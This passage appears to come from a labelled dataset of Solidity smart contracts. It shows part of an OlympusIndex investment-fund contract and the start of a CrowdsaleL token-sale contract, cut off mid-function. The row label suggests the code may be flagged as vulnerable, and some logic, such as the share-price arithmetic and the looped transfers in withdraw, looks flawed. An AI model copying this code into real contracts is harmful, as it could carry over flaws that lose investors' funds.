function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ComponentListInterface {
event ComponentUpdated (string _name, string _version, address _componentAddress);
function setComponent(string _name, address _componentAddress) public returns (bool);
function getComponent(string _name, string _version) public view returns (address);
function getLatestComponent(string _name) public view returns(address);
}
contract ERC20NoReturn {
uint256 public decimals;
string public name;
string public symbol;
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public;
function approve(address spender, uint tokens) public;
function transferFrom(address from, address to, uint tokens) public;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract FeeChargerInterface {
ERC20Extended public MOT = ERC20Extended(0x263c618480DBe35C300D8d5EcDA19bbB986AcaeD);
function setMotAddress(address _motAddress) external returns (bool success);
}
contract Derivative is DerivativeInterface, ComponentContainer, PausableToken {
ERC20Extended internal constant ETH = ERC20Extended(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
ComponentListInterface internal componentList;
string public constant MARKET = "MarketProvider";
string public constant EXCHANGE = "ExchangeProvider";
string public constant WITHDRAW = "WithdrawProvider";
string public constant RISK = "RiskProvider";
string public constant WHITELIST = "WhitelistProvider";
string public constant FEE = "FeeProvider";
string public constant REIMBURSABLE = "Reimbursable";
string public constant REBALANCE = "RebalanceProvider";
function initialize (address _componentList) internal {
require(_componentList != 0x0);
componentList = ComponentListInterface(_componentList);
}
function updateComponent(string _name) public onlyOwner returns (address) {
if (super.getComponentByName(_name) == componentList.getLatestComponent(_name)) {
return super.getComponentByName(_name);
}
require(super.setComponent(_name, componentList.getLatestComponent(_name)));
if (keccak256(abi.encodePacked(_name)) != keccak256(abi.encodePacked(MARKET))) {
approveComponent(_name);
}
return componentList.getLatestComponent(_name);
}
function approveComponent(string _name) internal {
address componentAddress = getComponentByName(_name);
ERC20NoReturn(FeeChargerInterface(componentAddress).MOT()).approve(componentAddress, 0);
ERC20NoReturn(FeeChargerInterface(componentAddress).MOT()).approve(componentAddress, 2 ** 256 - 1);
}
function () public payable {
}
}
contract IndexInterface is DerivativeInterface {
uint[] public weights;
bool public supportRebalance;
function rebalance() public returns (bool success);
function getTokens() public view returns (address[] _tokens, uint[] _weights);
}
contract ComponentInterface {
string public name;
string public description;
string public category;
string public version;
}
contract ExchangeInterface is ComponentInterface {
function supportsTradingPair(address _srcAddress, address _destAddress, bytes32 _exchangeId)
external view returns(bool supported);
function buyToken
(
ERC20Extended _token, uint _amount, uint _minimumRate,
address _depositAddress, bytes32 _exchangeId, address _partnerId
) external payable returns(bool success);
function sellToken
(
ERC20Extended _token, uint _amount, uint _minimumRate,
address _depositAddress, bytes32 _exchangeId, address _partnerId
) external returns(bool success);
}
contract PriceProviderInterface is ComponentInterface {
function getPrice(ERC20Extended _sourceAddress, ERC20Extended _destAddress, uint _amount, bytes32 _exchangeId)
external view returns(uint expectedRate, uint slippageRate);
}
contract OlympusExchangeInterface is ExchangeInterface, PriceProviderInterface, Ownable {
function buyTokens
(
ERC20Extended[] _tokens, uint[] _amounts, uint[] _minimumRates,
address _depositAddress, bytes32 _exchangeId, address _partnerId
) external payable returns(bool success);
function sellTokens
(
ERC20Extended[] _tokens, uint[] _amounts, uint[] _minimumRates,
address _depositAddress, bytes32 _exchangeId, address _partnerId
) external returns(bool success);
}
contract RebalanceInterface is ComponentInterface {
function recalculateTokensToBuyAfterSale(uint _receivedETHFromSale, uint[] _amountsToBuy) external pure
returns(uint[] _recalculatedAmountsToBuy);
function rebalanceGetTokensToSellAndBuy() external returns
(address[] _tokensToSell, uint[] _amountsToSell, address[] _tokensToBuy, uint[] _amountsToBuy, address[] _tokensWithPriceIssues);
}
contract WithdrawInterface is ComponentInterface {
function request(address _requester, uint amount) external returns(bool);
function withdraw(address _requester) external returns(uint eth, uint tokens);
function start() external;
function isInProgress() external view returns(bool);
function unlock() external;
function getUserRequests() external view returns(address[]);
function getTotalWithdrawAmount() external view returns(uint);
event WithdrawRequest(address _requester, uint amountOfToken);
event Withdrawed(address _requester, uint amountOfToken , uint amountOfEther);
}
contract WhitelistInterface is ComponentInterface {
mapping (address => mapping(uint8 => mapping(address => bool))) public whitelist;
mapping (address => mapping(uint8 => bool)) public enabled;
function enable(uint8 _key) external;
function disable(uint8 _key) external;
function isAllowed(uint8 _key, address _account) external view returns(bool);
function setAllowed(address[] accounts, uint8 _key, bool allowed) external returns(bool);
}
contract MarketplaceInterface is Ownable {
address[] public products;
mapping(address => address[]) public productMappings;
function getAllProducts() external view returns (address[] allProducts);
function registerProduct() external returns(bool success);
function getOwnProducts() external view returns (address[] addresses);
event Registered(address product, address owner);
}
contract ChargeableInterface is ComponentInterface {
uint public DENOMINATOR;
function calculateFee(address _caller, uint _amount) external returns(uint totalFeeAmount);
function setFeePercentage(uint _fee) external returns (bool succes);
function getFeePercentage() external view returns (uint feePercentage);
}
contract ReimbursableInterface is ComponentInterface {
function startGasCalculation() external;
function reimburse() external returns (uint);
}
contract RiskControlInterface is ComponentInterface {
function hasRisk(address _sender, address _receiver, address _tokenAddress, uint _amount, uint _rate)
external returns(bool isRisky);
}
contract OlympusIndex is IndexInterface, Derivative {
using SafeMath for uint256;
enum WhitelistKeys { Investment, Maintenance }
event ChangeStatus(DerivativeStatus status);
event Invested(address user, uint amount);
event Reimbursed(uint amount);
event RiskEvent(address _sender, address _receiver, address _tokenAddress, uint _amount, uint _rate, bool risky);
uint public constant DENOMINATOR = 100000;
uint public constant INITIAL_VALUE = 10**18;
uint[] public weights;
uint public accumulatedFee = 0;
uint public maxTransfers = 10;
modifier onlyOwnerOrWhitelisted(WhitelistKeys _key) {
WhitelistInterface whitelist = WhitelistInterface(getComponentByName(WHITELIST));
require(
msg.sender == owner ||
(whitelist.enabled(address(this), uint8(_key)) && whitelist.isAllowed(uint8(_key), msg.sender) )
);
_;
}
modifier whitelisted(WhitelistKeys _key) {
require(WhitelistInterface(getComponentByName(WHITELIST)).isAllowed(uint8(_key), msg.sender));
_;
}
modifier withoutRisk(address _sender, address _receiver, address _tokenAddress, uint _amount, uint _rate) {
require(!hasRisk(_sender, _receiver, _tokenAddress, _amount, _rate));
_;
}
modifier checkLength(address[] _tokens, uint[] _weights) {
require(_tokens.length == _weights.length);
_;
}
modifier checkWeights(uint[] _weights){
uint totalWeight;
for(uint i = 0; i < _weights.length; i++){
totalWeight += _weights[i];
}
require(totalWeight == 100);
_;
}
constructor (
string _name,
string _symbol,
string _description,
string _category,
uint _decimals,
address[] _tokens,
uint[] _weights)
checkLength(_tokens, _weights) checkWeights(_weights) public {
name = _name;
symbol = _symbol;
totalSupply_ = 0;
decimals = _decimals;
description = _description;
category = _category;
version = "1.0";
fundType = DerivativeType.Index;
tokens = _tokens;
weights = _weights;
status = DerivativeStatus.New;
}
function initialize(address _componentList, uint _initialFundFee) onlyOwner external payable {
require(status == DerivativeStatus.New);
require(msg.value > 0);
require(_componentList != 0x0);
super.initialize(_componentList);
setComponent(MARKET, componentList.getLatestComponent(MARKET));
setComponent(EXCHANGE, componentList.getLatestComponent(EXCHANGE));
setComponent(REBALANCE, componentList.getLatestComponent(REBALANCE));
setComponent(RISK, componentList.getLatestComponent(RISK));
setComponent(WHITELIST, componentList.getLatestComponent(WHITELIST));
setComponent(FEE, componentList.getLatestComponent(FEE));
setComponent(REIMBURSABLE, componentList.getLatestComponent(REIMBURSABLE));
setComponent(WITHDRAW, componentList.getLatestComponent(WITHDRAW));
approveComponents();
MarketplaceInterface(componentList.getLatestComponent(MARKET)).registerProduct();
ChargeableInterface(componentList.getLatestComponent(FEE)).setFeePercentage(_initialFundFee);
status = DerivativeStatus.Active;
emit ChangeStatus(status);
accumulatedFee += msg.value;
}
function registerInNewMarketplace() external onlyOwner returns(bool) {
require(MarketplaceInterface(getComponentByName(MARKET)).registerProduct());
return true;
}
function getTokens() public view returns (address[] _tokens, uint[] _weights) {
return (tokens, weights);
}
function getTokensAndAmounts() external view returns(address[], uint[]) {
uint[] memory _amounts = new uint[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_amounts[i] = ERC20Extended(tokens[i]).balanceOf(address(this));
}
return (tokens, _amounts);
}
function changeStatus(DerivativeStatus _status) public onlyOwner returns(bool) {
require(_status != DerivativeStatus.New && status != DerivativeStatus.New && _status != DerivativeStatus.Closed);
require(status != DerivativeStatus.Closed && _status != DerivativeStatus.Closed);
status = _status;
emit ChangeStatus(status);
return true;
}
function close() public onlyOwner returns(bool success){
require(status != DerivativeStatus.New);
getETHFromTokens(DENOMINATOR);
status = DerivativeStatus.Closed;
emit ChangeStatus(status);
return true;
}
function invest() public payable
whenNotPaused
whitelisted(WhitelistKeys.Investment)
withoutRisk(msg.sender, address(this), ETH, msg.value, 1)
returns(bool) {
require(status == DerivativeStatus.Active, "The Fund is not active");
require(msg.value >= 10**15, "Minimum value to invest is 0.001 ETH");
uint _sharePrice;
if(totalSupply_ > 0) {
_sharePrice = getPrice() - ( (msg.value * 10 ** decimals ) / totalSupply_);
} else {
_sharePrice = INITIAL_VALUE;
}
ChargeableInterface feeManager = ChargeableInterface(getComponentByName(FEE));
uint fee = feeManager.calculateFee(msg.sender, msg.value);
uint _investorShare = ( ( (msg.value-fee) * DENOMINATOR) / _sharePrice) * 10 ** decimals;
_investorShare = _investorShare / DENOMINATOR;
accumulatedFee += fee;
balances[msg.sender] += _investorShare;
totalSupply_ += _investorShare;
emit Invested(msg.sender, _investorShare);
return true;
}
function getPrice() public view returns(uint) {
if(totalSupply_ == 0) {
return INITIAL_VALUE;
}
return (
((getAssetsValue() + getETHBalance() ) * 10 ** decimals ) / (totalSupply_),
);
}
function getETHBalance() public view returns(uint){
return address(this).balance - accumulatedFee;
}
function getAssetsValue() public view returns (uint) {
OlympusExchangeInterface exchangeProvider = OlympusExchangeInterface(getComponentByName(EXCHANGE));
uint _totalTokensValue = 0;
uint _expectedRate;
uint _balance;
for (uint16 i = 0; i < tokens.length; i++) {
_balance = ERC20(tokens[i]).balanceOf(address(this));
if(_balance == 0){continue;}
(_expectedRate, ) = exchangeProvider.getPrice(ETH, ERC20Extended(tokens[i]), _balance, 0x0);
if(_expectedRate == 0){continue;}
_totalTokensValue += (_balance * 10**18) / _expectedRate;
}
return _totalTokensValue;
}
function addOwnerBalance() external payable onlyOwner {
accumulatedFee += msg.value;
}
function withdrawFee(uint amount) external onlyOwner whenNotPaused returns(bool) {
require(accumulatedFee >= amount);
accumulatedFee -= amount;
msg.sender.transfer(amount);
return true;
}
function setManagementFee(uint _fee) external onlyOwner {
ChargeableInterface(getComponentByName(FEE)).setFeePercentage(_fee);
}
function getManagementFee() external view returns(uint) {
return ChargeableInterface(getComponentByName(FEE)).getFeePercentage();
}
function requestWithdraw(uint amount) external
whitelisted(WhitelistKeys.Investment)
withoutRisk(msg.sender, address(this), address(this), amount, getPrice())
{
WithdrawInterface(getComponentByName(WITHDRAW)).request(msg.sender, amount);
}
function setMaxTransfers(uint _maxTransfers) external onlyOwner {
maxTransfers = _maxTransfers;
}
function withdraw() external onlyOwnerOrWhitelisted(WhitelistKeys.Maintenance) whenNotPaused returns(bool) {
ReimbursableInterface(getComponentByName(REIMBURSABLE)).startGasCalculation();
WithdrawInterface withdrawProvider = WithdrawInterface(getComponentByName(WITHDRAW));
address[] memory _requests = withdrawProvider.getUserRequests();
if(_requests.length == 0) {
reimburse();
return true;
}
uint _transfers = 0;
uint _eth;
uint tokens;
if (!withdrawProvider.isInProgress()) {
withdrawProvider.start();
}
uint _totalETHToReturn = ( withdrawProvider.getTotalWithdrawAmount() * getPrice()) / 10 ** decimals;
if(_totalETHToReturn > getETHBalance()) {
uint _tokenPercentToSell = (( _totalETHToReturn - getETHBalance()) * DENOMINATOR) / getAssetsValue();
getETHFromTokens(_tokenPercentToSell);
}
for(uint8 i = 0; i < _requests.length && _transfers < maxTransfers ; i++) {
(_eth, tokens) = withdrawProvider.withdraw(_requests[i]);
if(tokens == 0) {continue;}
balances[_requests[i]] -= tokens;
totalSupply_ -= tokens;
address(_requests[i]).transfer(_eth);
_transfers++;
}
if(!withdrawProvider.isInProgress()) {
withdrawProvider.unlock();
}
reimburse();
return !withdrawProvider.isInProgress();
}
function withdrawInProgress() external view returns(bool) {
return WithdrawInterface(getComponentByName(WITHDRAW)).isInProgress();
}
function reimburse() internal {
uint reimbursedAmount = ReimbursableInterface(getComponentByName(REIMBURSABLE)).reimburse();
accumulatedFee -= reimbursedAmount;
emit Reimbursed(reimbursedAmount);
msg.sender.transfer(reimbursedAmount);
}
function tokensWithAmount() public view returns( ERC20Extended[] memory) {
uint8 length = 0;
uint[] memory _amounts = new uint[](tokens.length);
for (uint8 i = 0; i < tokens.length; i++) {
_amounts[i] = ERC20Extended(tokens[i]).balanceOf(address(this));
if(_amounts[i] > 0) {length++;}
}
ERC20Extended[] memory _tokensWithAmount = new ERC20Extended[](length);
uint8 index = 0;
for (uint8 j = 0; j < tokens.length; j++) {
if(_amounts[j] > 0) {
_tokensWithAmount[index] = ERC20Extended(tokens[j]);
index++;
}
}
return _tokensWithAmount;
}
function getETHFromTokens(uint _tokenPercentage ) internal {
ERC20Extended[] memory _tokensToSell = tokensWithAmount();
uint[] memory _amounts = new uint[]( _tokensToSell.length);
uint[] memory _sellRates = new uint[]( _tokensToSell.length);
OlympusExchangeInterface exchange = OlympusExchangeInterface(getComponentByName(EXCHANGE));
for (uint8 i = 0; i < _tokensToSell.length; i++) {
_amounts[i] = (_tokenPercentage * _tokensToSell[i].balanceOf(address(this)) )/DENOMINATOR;
( , _sellRates[i] ) = exchange.getPrice(_tokensToSell[i], ETH, _amounts[i], 0x0);
require(!hasRisk(address(this), exchange, address( _tokensToSell[i]), _amounts[i] , 0));
_tokensToSell[i].approve(exchange, 0);
_tokensToSell[i].approve(exchange, _amounts[i]);
}
require(exchange.sellTokens(_tokensToSell, _amounts, _sellRates, address(this), 0x0, 0x0));
}
function buyTokens() external onlyOwnerOrWhitelisted(WhitelistKeys.Maintenance) whenNotPaused returns(bool) {
ReimbursableInterface(getComponentByName(REIMBURSABLE)).startGasCalculation();
OlympusExchangeInterface exchange = OlympusExchangeInterface(getComponentByName(EXCHANGE));
if(getETHBalance() == 0) {
reimburse();
return true;
}
uint[] memory _amounts = new uint[](tokens.length);
uint[] memory _rates = new uint[](tokens.length);
ERC20Extended[] memory _tokensErc20 = new ERC20Extended[](tokens.length);
uint ethBalance = getETHBalance();
uint totalAmount = 0;
for(uint8 i = 0; i < tokens.length; i++) {
_amounts[i] = ethBalance * weights[i] / 100;
_tokensErc20[i] = ERC20Extended(tokens[i]);
(, _rates[i] ) = exchange.getPrice(ETH, _tokensErc20[i], _amounts[i], 0x0);
totalAmount += _amounts[i];
}
require(exchange.buyTokens.value(totalAmount)(_tokensErc20, _amounts, _rates, address(this), 0x0, 0x0));
reimburse();
return true;
}
function rebalance() public onlyOwnerOrWhitelisted(WhitelistKeys.Maintenance) whenNotPaused returns (bool success) {
ReimbursableInterface(getComponentByName(REIMBURSABLE)).startGasCalculation();
RebalanceInterface rebalanceProvider = RebalanceInterface(getComponentByName(REBALANCE));
OlympusExchangeInterface exchangeProvider = OlympusExchangeInterface(getComponentByName(EXCHANGE));
address[] memory tokensToSell;
uint[] memory amountsToSell;
address[] memory tokensToBuy;
uint[] memory amountsToBuy;
uint8 i;
uint ETHBalanceBefore = address(this).balance;
(tokensToSell, amountsToSell, tokensToBuy, amountsToBuy,) = rebalanceProvider.rebalanceGetTokensToSellAndBuy();
for (i = 0; i < tokensToSell.length; i++) {
ERC20Extended(tokensToSell[i]).approve(address(exchangeProvider), 0);
ERC20Extended(tokensToSell[i]).approve(address(exchangeProvider), amountsToSell[i]);
require(exchangeProvider.sellToken(ERC20Extended(tokensToSell[i]), amountsToSell[i], 0, address(this), 0x0, 0x0));
}
amountsToBuy = rebalanceProvider.recalculateTokensToBuyAfterSale(address(this).balance - ETHBalanceBefore, amountsToBuy);
for (i = 0; i < tokensToBuy.length; i++) {
require(
exchangeProvider.buyToken.value(amountsToBuy[i])(ERC20Extended(tokensToBuy[i]), amountsToBuy[i], 0, address(this), 0x0, 0x0)
);
}
reimburse();
return true;
}
function enableWhitelist(WhitelistKeys _key) external onlyOwner returns(bool) {
WhitelistInterface(getComponentByName(WHITELIST)).enable(uint8(_key));
return true;
}
function disableWhitelist(WhitelistKeys _key) external onlyOwner returns(bool) {
WhitelistInterface(getComponentByName(WHITELIST)).disable(uint8(_key));
return true;
}
function setAllowed(address[] accounts, WhitelistKeys _key, bool allowed) onlyOwner public returns(bool){
WhitelistInterface(getComponentByName(WHITELIST)).setAllowed(accounts,uint8(_key), allowed);
return true;
}
function approveComponents() private {
approveComponent(EXCHANGE);
approveComponent(WITHDRAW);
approveComponent(RISK);
approveComponent(WHITELIST);
approveComponent(FEE);
approveComponent(REIMBURSABLE);
approveComponent(REBALANCE);
}
function updateAllComponents() public onlyOwner {
updateComponent(MARKET);
updateComponent(EXCHANGE);
updateComponent(WITHDRAW);
updateComponent(RISK);
updateComponent(WHITELIST);
updateComponent(FEE);
updateComponent(REBALANCE);
updateComponent(REIMBURSABLE);
}
function hasRisk(address _sender, address _receiver, address _tokenAddress, uint _amount, uint _rate) public returns(bool) {
RiskControlInterface riskControl = RiskControlInterface(getComponentByName(RISK));
bool risk = riskControl.hasRisk(_sender, _receiver, _tokenAddress, _amount, _rate);
emit RiskEvent (_sender, _receiver, _tokenAddress, _amount, _rate, risk);
return risk;
}
} | 1 | 4,981 |
pragma solidity ^0.4.18;
contract CrowdsaleL{
using SafeMath for uint256;
enum TokenSaleType {round1, round2}
enum Roles {beneficiary, accountant, manager, observer, bounty, team, company}
address constant TaxCollector = 0x0;
uint256[2] TaxValues = [0 finney, 0 finney];
uint8 vaultNum;
TokenL public token;
bool public isFinalized;
bool public isInitialized;
bool public isPausedCrowdsale;
address[7] public wallets = [
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262,
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262,
msg.sender,
0x8a91aC199440Da0B45B2E278f3fE616b1bCcC494,
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262,
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262,
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262
];
struct Profit{
uint256 min;
uint256 max;
uint256 step;
uint256 maxAllProfit;
}
struct Bonus {
uint256 value;
uint256 procent;
uint256 freezeTime;
}
Bonus[] public bonuses;
Profit public profit = Profit(0, 20, 4, 50);
uint256 public startTime= 1518912000;
uint256 public endDiscountTime = 1521936000;
uint256 public endTime = 1522800000;
uint256 public rate = 18000000;
uint256 public softCap = 0 ether;
uint256 public hardCap = 19444 ether;
uint256 public overLimit = 20 ether;
uint256 public minPay = 10 finney;
uint256 public ethWeiRaised;
uint256 public nonEthWeiRaised;
uint256 public weiRound1;
uint256 public tokenReserved;
RefundVault public vault;
TokenSaleType TokenSale = TokenSaleType.round2;
uint256 public allToken;
bool public bounty;
bool public team;
bool public company;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
event Initialized();
function CrowdsaleL(TokenL _token, uint256 firstMint) public
{
token = _token;
token.setOwner();
token.pause();
token.addUnpausedWallet(wallets[uint8(Roles.accountant)]);
token.addUnpausedWallet(msg.sender);
token.setFreezingManager(wallets[uint8(Roles.accountant)]);
bonuses.push(Bonus(11111 finney,30,60 days));
bonuses.push(Bonus(55556 finney,40,90 days));
bonuses.push(Bonus(111111 finney,50,180 days));
if (firstMint > 0) {
token.mint(msg.sender, firstMint);
}
}
function getTokenSaleType() public constant returns(string){
return (TokenSale == TokenSaleType.round1)?'round1':'round2';
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = (now > startTime && now < endTime);
bool nonZeroPurchase = msg.value >= minPay;
bool withinCap = msg.value <= hardCap.sub(weiRaised()).add(overLimit);
return withinPeriod && nonZeroPurchase && withinCap && isInitialized && !isPausedCrowdsale;
}
function hasEnded() public constant returns (bool) {
bool timeReached = now > endTime;
bool capReached = weiRaised() >= hardCap;
return (timeReached || capReached) && isInitialized;
}
function finalizeAll() external {
finalize();
finalize1();
finalize2();
finalize3();
}
function finalize() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender || !goalReached());
require(!isFinalized);
require(hasEnded());
isFinalized = true;
finalization();
Finalized();
}
function finalization() internal {
if (goalReached()) {
vault.close(wallets[uint8(Roles.beneficiary)]);
if (tokenReserved > 0) {
token.mint(wallets[uint8(Roles.accountant)],tokenReserved);
tokenReserved = 0;
}
if (TokenSale == TokenSaleType.round1) {
isInitialized = false;
isFinalized = false;
TokenSale = TokenSaleType.round2;
weiRound1 = weiRaised();
ethWeiRaised = 0;
nonEthWeiRaised = 0;
}
else
{
allToken = token.totalSupply();
bounty = true;
team = true;
company = true;
}
}
else
{
vault.enableRefunds();
}
}
function finalize1() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender);
require(team);
team = false;
token.mint(wallets[uint8(Roles.team)],allToken.mul(14).div(80));
}
function finalize2() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender);
require(bounty);
bounty = false;
token.mint(wallets[uint8(Roles.bounty)],allToken.mul(3).div(80));
}
function finalize3() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender);
require(company);
company = false;
token.mint(wallets[uint8(Roles.company)],allToken.mul(3).div(80));
}
function initialize() public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(now <= startTime);
initialization();
Initialized();
isInitialized = true;
}
function initialization() internal {
uint256 taxValue = TaxValues[vaultNum];
vaultNum++;
uint256 arrear;
if (address(vault) != 0x0){
arrear = DistributorRefundVault(vault).taxValue();
vault.del(wallets[uint8(Roles.beneficiary)]);
}
vault = new DistributorRefundVault(TaxCollector, taxValue.add(arrear));
}
function claimRefund() public{
vault.refund(msg.sender);
}
function goalReached() public constant returns (bool) {
return weiRaised() >= softCap;
}
function setup(uint256 _startTime, uint256 _endDiscountTime, uint256 _endTime, uint256 _softCap, uint256 _hardCap, uint256 _rate, uint256 _overLimit, uint256 _minPay, uint256 _minProfit, uint256 _maxProfit, uint256 _stepProfit, uint256 _maxAllProfit, uint256[] _value, uint256[] _procent, uint256[] _freezeTime) public{
changePeriod(_startTime, _endDiscountTime, _endTime);
changeTargets(_softCap, _hardCap);
changeRate(_rate, _overLimit, _minPay);
changeDiscount(_minProfit, _maxProfit, _stepProfit, _maxAllProfit);
setBonuses(_value, _procent, _freezeTime);
}
function changePeriod(uint256 _startTime, uint256 _endDiscountTime, uint256 _endTime) public{
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(now <= _startTime);
require(_endDiscountTime > _startTime && _endDiscountTime <= _endTime);
startTime = _startTime;
endTime = _endTime;
endDiscountTime = _endDiscountTime;
}
function changeTargets(uint256 _softCap, uint256 _hardCap) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(_softCap <= _hardCap);
softCap = _softCap;
hardCap = _hardCap;
}
function changeRate(uint256 _rate, uint256 _overLimit, uint256 _minPay) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(_rate > 0);
rate = _rate;
overLimit = _overLimit;
minPay = _minPay;
}
function changeDiscount(uint256 _minProfit, uint256 _maxProfit, uint256 _stepProfit, uint256 _maxAllProfit) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(_maxProfit <= _maxAllProfit);
require(_stepProfit <= _maxProfit.sub(_minProfit));
if(_stepProfit > 0){
profit.max = _maxProfit.sub(_minProfit).div(_stepProfit).mul(_stepProfit).add(_minProfit);
}else{
profit.max = _minProfit;
}
profit.min = _minProfit;
profit.step = _stepProfit;
profit.maxAllProfit = _maxAllProfit;
}
function setBonuses(uint256[] _value, uint256[] _procent, uint256[] _dateUnfreeze) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(_value.length == _procent.length && _value.length == _dateUnfreeze.length);
bonuses.length = _value.length;
for(uint256 i = 0; i < _value.length; i++){
bonuses[i] = Bonus(_value[i],_procent[i],_dateUnfreeze[i]);
}
}
function weiRaised() public constant returns(uint256){
return ethWeiRaised.add(nonEthWeiRaised);
}
function weiTotalRaised() public constant returns(uint256){
return weiRound1.add(weiRaised());
}
function getProfitPercent() public constant returns (uint256){
return getProfitPercentForData(now);
}
function getProfitPercentForData(uint256 timeNow) public constant returns (uint256){
if (profit.max == 0 || profit.step == 0 || timeNow > endDiscountTime){
return profit.min;
}
if (timeNow<=startTime){
return profit.max;
}
uint256 range = endDiscountTime.sub(startTime);
uint256 profitRange = profit.max.sub(profit.min);
uint256 timeRest = endDiscountTime.sub(timeNow);
uint256 profitProcent = profitRange.div(profit.step).mul(timeRest.mul(profit.step.add(1)).div(range));
return profitProcent.add(profit.min);
}
function getBonuses(uint256 _value) public constant returns(uint256 procent, uint256 _dateUnfreeze){
if(bonuses.length == 0 || bonuses[0].value > _value){
return (0,0);
}
uint16 i = 1;
for(i; i < bonuses.length; i++){
if(bonuses[i].value > _value){
break;
}
}
return (bonuses[i-1].procent,bonuses[i-1].freezeTime);
}
function fastTokenSale(uint256 _totalSupply) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(TokenSale == TokenSaleType.round1 && !isInitialized);
token.mint(wallets[uint8(Roles.accountant)], _totalSupply);
TokenSale = TokenSaleType.round2;
}
function tokenUnpause() public {
require(wallets[uint8(Roles.manager)] == msg.sender
|| (now > endTime + 30 days && TokenSale == TokenSaleType.round2 && isFinalized && goalReached()));
token.unpause();
}
function tokenPause() public {
require(wallets[uint8(Roles.manager)] == msg.sender && !isFinalized);
token.pause();
}
function crowdsalePause() public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(isPausedCrowdsale == false);
isPausedCrowdsale = true;
}
function crowdsaleUnpause() public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(isPausedCrowdsale == true);
isPausedCrowdsale = false;
}
function unpausedWallet(address _wallet) internal constant returns(bool) {
bool _accountant = wallets[uint8(Roles.accountant)] == _wallet;
bool _manager = wallets[uint8(Roles.manager)] == _wallet;
bool _bounty = wallets[uint8(Roles.bounty)] == _wallet;
bool _company = wallets[uint8(Roles.company)] == _wallet;
return _accountant || _manager || _bounty || _company;
}
function moveTokens(address _migrationAgent) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
token.setMigrationAgent(_migrationAgent);
}
function migrateAll(address[] _holders) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
token.migrateAll(_holders);
}
function changeWallet(Roles _role, address _wallet) public
{
require(
(msg.sender == wallets[uint8(_role)] && _role != Roles.observer)
||
(msg.sender == wallets[uint8(Roles.manager)] && (!isInitialized || _role == Roles.observer))
);
address oldWallet = wallets[uint8(_role)];
wallets[uint8(_role)] = _wallet;
if(token.unpausedWallet(oldWallet))
token.delUnpausedWallet(oldWallet);
if(unpausedWallet(_wallet))
token.addUnpausedWallet(_wallet);
if(_role == Roles.accountant)
token.setFreezingManager(wallets[uint8(Roles.accountant)]);
}
function resetAllWallets() public{
address _beneficiary = wallets[uint8(Roles.beneficiary)];
require(msg.sender == _beneficiary);
for(uint8 i = 0; i < wallets.length; i++){
if(token.unpausedWallet(wallets[i]))
token.delUnpausedWallet(wallets[i]);
wallets[i] = _beneficiary;
}
token.addUnpausedWallet(_beneficiary);
}
function distructVault() public {
if (wallets[uint8(Roles.beneficiary)] == msg.sender && (now > startTime + 400 days)) {
vault.del(wallets[uint8(Roles.beneficiary)]);
}
if (wallets[uint8(Roles.manager)] == msg.sender && (now > startTime + 600 days)) {
